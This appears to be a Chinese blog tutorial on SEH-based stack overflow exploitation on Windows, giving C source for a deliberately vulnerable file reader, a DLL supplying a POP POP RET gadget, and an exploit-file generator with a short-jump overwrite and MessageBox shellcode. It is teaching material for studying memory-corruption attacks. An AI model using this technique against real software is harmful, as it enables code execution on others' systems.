栈溢出笔记1.10 基于SEH的栈溢出

上节中简单地讲述了SEH的原理及逻辑结构。本节,要继续讲述SEH的物理结构及如何利用它进行栈溢出。

先来看SEH的物理结构。先回想上节中的图51,我们在程序停在gets函数输入的时候查看SEH链,看到了一大堆异常处理器,而当我们把断点设置在gets函数下一条语句的时候,其中很多没有了,这给我们一个直观的感觉:SEH链保存在栈上。

下面,我们就来看看栈上的SEH链。我们使用的是example_10,即添加了一个自己的异常处理块的程序(编译时继续采用前面教程中的设置,即关闭缓冲区安全检查)。依然把断点设置在gets函数下一条语句,由于程序定义缓冲区为11个字节,我们输入10个A,即不超过缓冲区大小,断下后,先看SEH链:

图58 SEH链

再看栈:

图59 SEH链的物理布局

需要特别注意的是第一个异常处理器的位置,它位于局部变量与保持的EIP之间,正是这个重要位置,给了它利用的价值。需要说明的是,本节的重点在于SEH,而不是栈上保存的EIP(像前面小节中所说的),看到以后的小节之后你就知道为什么了。

现在要重复我们的老把戏了。我们输入28个A,溢出缓冲区的大小,来看栈:

图60 输入28个A时的栈

查看此时的SEH链:

图61 输入28个A时的SEH链

可以看到,此时的SEH链已经被我们破坏了,异常处理函数和下一个异常处理器都被重写为0x41414141。但是此时这并没有什么用,因为这个SEH链根本不会被触发,就算我们覆盖了SEH链第一个异常处理器的内容,也不会发生什么错误,程序输出28个A,然后正常退出:

图62

回想1.9节中的内容,异常处理块是程序员自己定义的,不同的应用程序中处理的异常类型都不相同,我们很难知道程序究竟处理了什么类型的异常,因此,我们也很难去触发指定类型的异常,来让SEH链被调用。那么,还有什么方法来触发一个异常呢?我们先来看一个现象,这次我们不输入28个A,我们输入很多很多A:

图63

然后,程序出现以下弹框:

图64

这说明缓冲区溢出到一定的程度,就会触发程序的异常处理,SEH链被调用,而且其内容被覆盖为“AAAA”。

现象我们看到了,那这个异常定义在哪?捕获的是什么类型的错误呢?它又是如何被触发的呢?我们看一看此时的栈:

图65

你知道原因了吗?此时整个栈都被写为了A,不仅如此,我们还向栈以外的内存也写入A,由于越过了栈范围,因而发生了越界访问。这一切都发生在example_10的__try块中,越界访问异常被捕获,于是有了上面的提示框。因此,最后总结为一句:通过向栈范围以外的内存写入数据,从而引发一次访问越界异常。

现在,我们再来做一次。这一次我们输入20个A + 8个B + 很多很多A:

图66

程序提示异常:

图67

注意异常发生的地址,并和图63中的异常地址进行对比,第一次我们将SEH链中的第一个异常处理器覆盖为“AAAAAAAA”,这一次我们将它覆盖为“BBBBBBBB”。因此,提示框中的异常发生地址实际上来自与SEH链。知道为什么吗?记得1.9节的原理吗?回顾一下异常被处理的过程,系统遍历SEH链,调用其中的每个异常处理器,判断它能否处理异常,如果不能,则移交给下一个,继续判断。直到异常被处理。而由于我们通过栈溢出更改了异常处理器的值,因此,系统尝试读取异常处理函数的地址(0x42424242)时,由于这个地址是我们随便给的,发生访问越界,这就是异常提示框中信息的由来。

好了,现在我们知道了如何修改SEH链中异常处理器的值,也知道了如何引发一次异常,让异常处理器被调用。现在,我们要利用这些东西来做点小把戏了。

还记得1.4节我们是如何黑掉程序example_2,让它执行我们的MessageBox的吗?我们通过一些特殊的方式(一条jmp esp指令),让程序转而执行我们提供的代码,从而控制了原程序。

我们在前面已经控制了EIP,但是EIP到底修改为多少呢?按直观的想法,EIP应该为我们的Shellcode的第一条指令的地址,但是这个地址又为多少呢?我们并不知道。不过,我们再来看一下异常处理函数_except_handler的原型:

图68

1.9节中说到了它的其它几个参数,但是没有说第二个参数EstablisherFrame,这个参数实际上就是当前SEH链的首地址,即SEH链中第一个_EXCEPTION_REGISTRATION_RECORD结构的地址,也就是被我们改写的那个异常处理器的地址。当异常处理函数被调用的时候,这个参数位于栈上ESP+8的位置。这不难理解,这个函数为__cdecl调用方式,则栈上是这样子的:

图69

因此,我们只需要想办法将EstablisherFrame载入EIP,就得到了一个靠谱的地址,从这个地址开始执行我们自己的代码。如何将EstablisherFrame载入EIP?系统将栈设置为图68的样子之后,就转向异常处理函数开始执行,这个函数是我们给定的,前面我们设置为0x42424242,发生了访问越界,现在我们要将异常处理函数地址设置为一段指令,这段指令可以将EstablisherFrame载入EIP,它就是著名的“POP POP RET”指令块。通过两次出栈,ESP指向EstablisherFrame,此时执行RET指令将EstablisherFrame作为返回地址载入EIP。

下面,就可以来看攻击缓冲区的结构了:

图70

先来说说各个部分,junk容易理解,用来填充原缓冲区,第一个异常处理器的起始地址(不能覆盖)。第二个部分是Jmp指令,它位于第一个异常处理器结构的Next SEH成员位置,为什么需要它?因为POP+POP+RET执行后返回到SEH起始地址,此时,如果没有跳转指令,顺序执行,POP+POP+RET还会执行,从而出错,因此,JMP指令的作用就是跳过POP+POP+RET。因此,我们需要跳过4字节,短跳转的操作码为EB,向后跳转四字节为\xeb\x04。由于有4字节的空间,因此再填充两个NOP指令。shellcode部分才是实际的功能载荷,它除了操作码以外,还要填充一些字符,用于制造栈越界,引发异常。

下面是示例,由于我要用到POP+POP+RET指令,因此,我先建立一个DLL,如下:

/*****************************************************************************/
头文件example_13.h:
__declspec(dllexport) void set_pop_pop_ret();

源文件example_13.cpp:
// example_13 包含POP+POP+RET指令的DLL

#include "example_13.h"

void set_pop_pop_ret()
{
    __asm
    {
        push esi
        push edi
        pop  edi
        pop  esi
        ret
    }
}
/*****************************************************************************/

然后,是用于演示栈溢出的程序(为了输入和调试方便,我把前面的gets改成了读文件):

/*****************************************************************************/
// example_12 演示基于SEH的栈溢出
#include <Windows.h>
#include <stdio.h>
#include <string.h>

#include "example_13.h"

#pragma comment(lib, "example_13.lib")

void get_print()
{
    FILE* fp = fopen("code.txt", "rb");

    char str[11];

    __try
    {
        fread(str, 1, 1024, fp);
        printf("%s\n",str);
    }
    __except(EXCEPTION_EXECUTE_HANDLER)
    {
        //
    }

    fclose(fp);
}

int main()
{
    get_print();

    set_pop_pop_ret();  // 来自example_13.dll

    return 0;
}
/*****************************************************************************/

下面是生成带有Shellcode的文件的程序:

/*****************************************************************************/
// example_11 生成exploit文件
#include <stdio.h>
#include <string.h>

char junk[] =
"AAAAAAAAAAAAAAAAAAAAAAAA" // junk
"\x90\x90\xeb\x04" // jmp
"\x50\x13\x01\x10"; // pop+pop+ret

char shellcode[] =
"\x55\x8B\xEC\x33\xC0\x66\xB8\x6C\x64\x50\x68\x6F\x57\x6F\x72\x68\x48\x65\x6C\x6C\x6A\x31\x68\x70\x6C\x65\x5F"  // shellcode
"\x68\x65\x78\x61\x6D\x66\xB8\x6C\x6C\x50\x68\x33\x32\x2E\x64\x68\x75\x73\x65\x72\x8D\x5D\xDC\x53\xBB\x7B"
"\x1D\x80\x7C\xFF\xD3\x33\xC0\x50\x8D\x5D\xE8\x53\x8D\x5D\xF4\x53\x50\xBB\xEA\x07\xD5\x77\xFF\xD3"
"\x50\xBB\xFA\xCA\x81\x7C\xFF\xD3";

int main()
{

    FILE* f = fopen("code.txt","wb");

    fwrite((char*)junk, strlen(junk), 1, f);

    fwrite((char*)shellcode, strlen(shellcode), 1, f);

    for( int i = 0; i < 100; i++ )
    {
        fputs("AAAA", f);
    }

    fclose(f);

    return 0;
}
/*****************************************************************************/

需要注意的是”\x90\x90\xeb\x04”,NOP指令放在前面和后面跳转长度是不一样的,如果NOP指令在后面,那就不是跳转4字节,而是6字节了。

图71

另外,我用的POP+POP+RET是我自己写的example_13.dll中的,指令地址地址为0x10011350。至于为什么不用系统dll中的,下一节你就知道了,下面是example_12加载带有Shellcode的文件之后的结果:

图72

注意,我的Shellcode是前面小节中的,带有硬编码地址,你不可直接使用。

时间: 2024-08-29 09:20:38

栈溢出笔记1.10 基于SEH的栈溢出的相关文章

栈溢出笔记1.9 认识SEH

从本节开始,我们就要研究一些稍微高级点的话题了,如同在1.2节中看到的,Windows中为抵抗栈溢出做了很多保护性的检查工作,编译的程序默认开启了这些保护.如果我们不能绕过这些保护,那么我们的Shellcode也就是一个玩具而已,什么都做不了. 我们从SEH(结构化异常处理)开始. 这篇文章讲SEH简洁易懂:http://www.securitysift.com/windows-exploit-development-part-6-seh-exploits/ 因此,本文的前面部分就直接对其进行翻

Java笔记(10)

第一天 ----- 第十天 知识点复习 day1 XML 语法和两种约束技术 1.XML语法写法.规范: 根元素必须唯一.元素名称与属性名称不能以数字开始.元素标记必须结束.元素不能交叉嵌套.属性值必须加引号(双引号.单引号) ----- 考试:排错 2.CDATA块 与 特殊字符转义在 使用上区别 ? <book> <p>标记的作用 </book>  ----- 标记内容 <p> 是一个特殊内容 CDATA : <book> <![CDA

MariaDB 10 基于OpenSSL的主从复制

需求架构 准备工作 主从服务器时间同步 # 主从服务器同时配置crontab任务,与NTP服务器同步时间即可 */5 * * * * ntpdate 172.16.0.1 &>/dev/null 部署配置 主库配置 vi /etc/my.cnf server-id = 1 # 在复制架构中,需保持全局唯一 log-bin = mysql-bin # 默认在数据目录下 sync_binlog = 1 # 设置mariadb每次在提交事务前会将二进制日志同步到磁盘,保证服务器崩溃时不会丢失事件

微软企业库5.0学习笔记(10)ASP.NET模块依赖注入

您可以使用HTTP模块,一个到ASP.NET HttpApplicationState类的扩展,在Global.asax编写代码强制ASP.NET在每一个页面请求时自动注入依赖的对象,就像在ASP.NET Web窗体应用程序中讨论的一样. 下列方法显示了一个合适的方法能够获取PreRequestHandlerExecute事件将它自己注入到ASP.NET的执行流水线,在每个页面请求中通过容器的BuildUp方法运行Http模块,并获取OnPageInitComplete事件.当OnPageIni

.Net 转战 Android 4.4 日常笔记(10)--ADT集成环境更新SDK

今天下载了一份原来来参考,却发现SDK版本偏低我没有安装 用SDK Manager却一直更新不了出现 Failed to fetch URL https://dl-ssl.google.com/android/repository/repository-6.xml, reason: Connection to https://dl-ssl.google.com refusedFailed to fetch URL http://dl-ssl.google.com/android/reposito

Unity3D项目实战笔记(10):Unity3D编译IPA的PostEvents–节约时间利器

最近,SDK支付等接入差不多了,就从Unity3D生成IPA (企业版License), 然,需要手动执行的PostEvents竟然多大10项+, 这些我默默的承受了1周时间,每次约浪费20分钟-额外的. 周末用了2天时间,研究一下官方的例子和雨松的相关博客2篇,总算是搞定了这件事情,开心! 痛苦的前传: Unity3D导出为XCode工程后,有如下任务需要做 Plist 文件中 <key>CFBundleDevelopmentRegion</key> 中文 <string&

SQL Server 2012笔记分享-10:理解数据压缩

关键概念 配置数据压缩可以通过SSMS和T-SQL语句两种方式来实现. 表和索引压缩 对于行存储表和索引,使用数据压缩功能可帮助减小数据库的大小. 除了节省空间之外,数据压缩还可以帮助提高 I/O 密集型工作负荷的性能,因为数据存储在更少的页中,查询需要从磁盘读取的页更少. 但是,在与应用程序交换数据时,在数据库服务器上需要额外的 CPU 资源来压缩和解压缩数据. 对于列存储表和索引,所有列存储表和索引始终使用列存储压缩,并且用户无法对此进行配置. 在您能够付出额外的时间和 CPU 资源来存储和

驱动开发读书笔记. 0.02 基于EASYARM-IMX283 烧写uboot和linux系统

驱动开发读书笔记. 0.02 基于EASYARM-IMX283 怎么烧写自己裁剪的linux内核?(非所有arm9通用) 手上有一块tq2440,但是不知道什么原因,没有办法烧boot进norflash或者nandflash:只好用另一块arm9(i.mx283a)来继续学习: 从开发教程上面可知,烧写uboot和Linux是通过各种批处理脚本和exe程序来执行的,称之为固件烧写,然而并没有需要我们选择uboot路径.Linux内核和文件系统的地方.这样的话是不是意味着只能烧写官方默认提供的文件

.Net 转战 Android 4.4 日常笔记(10)--PullToRefresh下拉刷新使用

下拉刷新很多地方都用到了,新浪微博,微信,百度新闻 这里我们使用一个开源的库叫:PullToRefresh 开源地址:https://github.com/chenyoca/pull-to-refresh 下载地址:https://github.com/chenyoca/pull-to-refresh/archive/master.zip 解压代码之后通过ecplise导入到项目里面 导入之后可能会出现库路径引用错误 在项目右键,依次对库进行修正 运行主Activity 这时就可以看到效果了!接